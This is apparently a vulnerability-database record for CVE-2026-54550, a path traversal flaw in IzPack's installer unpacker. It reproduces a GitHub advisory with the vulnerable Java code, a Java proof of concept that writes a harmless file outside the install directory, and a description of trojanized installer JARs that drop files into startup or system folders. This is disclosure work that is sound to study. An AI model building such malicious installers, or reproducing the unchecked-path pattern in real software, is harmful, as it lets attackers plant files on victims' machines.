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Response snapshot Oct 27, 2026, 16:01 UTC

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VulnerabilityCVE-2026-54550

IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries

IzPack's `UnpackerBase.unpack()` resolves pack-file target paths without any canonical-path or directory-containment check. An attacker who distributes a trojanized installer JAR (the format is unsigned) can include pack entries whose `targetPath` contains `../` sequences.

Published Updated

At a glance

Exploited
Not known
Severity
7.4 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: org.codehaus.izpack:izpack-installer: 5.2.7. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-f63g-88cj-hjf9 (opens a new tab)

What happened

### Summary

IzPack's `UnpackerBase.unpack()` resolves pack-file target paths without any canonical-path or directory-containment check. An attacker who distributes a trojanized installer JAR (the format is unsigned) can include pack entries whose `targetPath` contains `../` sequences. When a victim runs the installer the file is written to an attacker-chosen location on disk under the victim's privileges — including startup folders, PATH directories, or system locations.

### Details

**Vulnerable method:** `com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()` **Source file:** `izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java` **Vulnerable lines (5.2.4):** ~618–627

Continue reading

The relevant code path is:

```java String targetPath = packFile.getTargetPath(); // attacker-controlled String path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY File target = new File(path); // no canonical check // ... mkdirs() then file is written to `target` ```

`IoHelper.translatePath()` (source: `izpack-util/.../IoHelper.java`) performs **only** file-separator character conversion (`'/'` ↔ `File.separatorChar`) and contains no security validation whatsoever. There is no call to `getCanonicalPath()`, no `startsWith(installDir)` containment check, and no normalisation of `..` segments.

Because IzPack installer JARs carry **no digital signature**, an attacker can repack any legitimate installer with malicious `PackFile` entries. The file format is a standard ZIP with serialised resources — no integrity protection.

**Confirmed unpatched in HEAD (fetched from GitHub, 2025):** ``` git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \ | grep -n 'getCanonicalPath\|startsWith.*install\|traversal' # (no output — fix not present) ```

### PoC

```bash # 1. Clone IzPack source and view the vulnerable code directly git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java

# 2. Compile and run the following Java reproducer (no IzPack classpath needed): ```

```java // TestPathTraversal.java import java.io.*;

public class TestPathTraversal { // Exact replication of IoHelper.translatePath() — separator swap, no security static String translatePath(String destination) { return destination.replace('/', File.separatorChar); }

public static void main(String[] args) throws Exception { String installDir = "/tmp/izpack_install"; String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";

// This is what UnpackerBase does: String path = translatePath(maliciousPath); File target = new File(path); // resolves traversal target.getParentFile().mkdirs(); try (FileWriter fw = new FileWriter(target)) { fw.write("Written outside install dir via IzPack path traversal\n"); } System.out.println("File written to: " + target.getCanonicalPath()); System.out.println("Inside installDir: " + target.getCanonicalPath().

startsWith(new File(installDir).getCanonicalPath())); } } ```

```bash javac TestPathTraversal.java && java TestPathTraversal # Output: File written to: /tmp/ESCAPED_FILE # Inside installDir: false ```

### Impact

Any user who runs an IzPack-generated installer is affected. The attacker only needs to distribute a repackaged installer — a common social-engineering vector.

On Windows (the primary IzPack platform) the victim typically runs the installer as a local administrator, so the attacker can write to `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, `%SystemRoot%\System32`, or any other location reachable by the victim user. On Linux/macOS the same applies for user-writable locations.

No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.

### Credits This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.

Affected package ranges reported by GitHub: org.codehaus.izpack:izpack-installer: < 5.2.7

Scores and how they were measured

CVSS base severity

7.4

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-f63g-88cj-hjf9 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-f63g-88cj-hjf9, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries (CVE-2026-54550). https://kevwire.com/record/CVE-2026-54550

MLA

"IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries (CVE-2026-54550)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-54550.

Chicago

KEVWire. "IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries (CVE-2026-54550)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-54550.

Evidence summary (plain text)

IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries (Aug 26, 2026).
IzPack's `UnpackerBase.unpack()` resolves pack-file target paths without any
canonical-path or directory-containment check. An attacker who distributes a
trojanized installer JAR (the format is unsigned) can include pack entries whose
`targetPath` contains `../` sequences. When a victim runs the installer the
file is written to an attacker-chosen location on disk under the victim's
privileges — including startup folders, PATH directories, or system locations.

**Vulnerable method:** `com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()`
**Source file:** `izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java`
**Vulnerable lines (5.2.4):** ~618–627
CVSS 7.4 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-f63g-88cj-hjf9).
Sources:
GitHub-reviewed advisory GHSA-f63g-88cj-hjf9: https://github.com/advisories/GHSA-f63g-88cj-hjf9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-54550.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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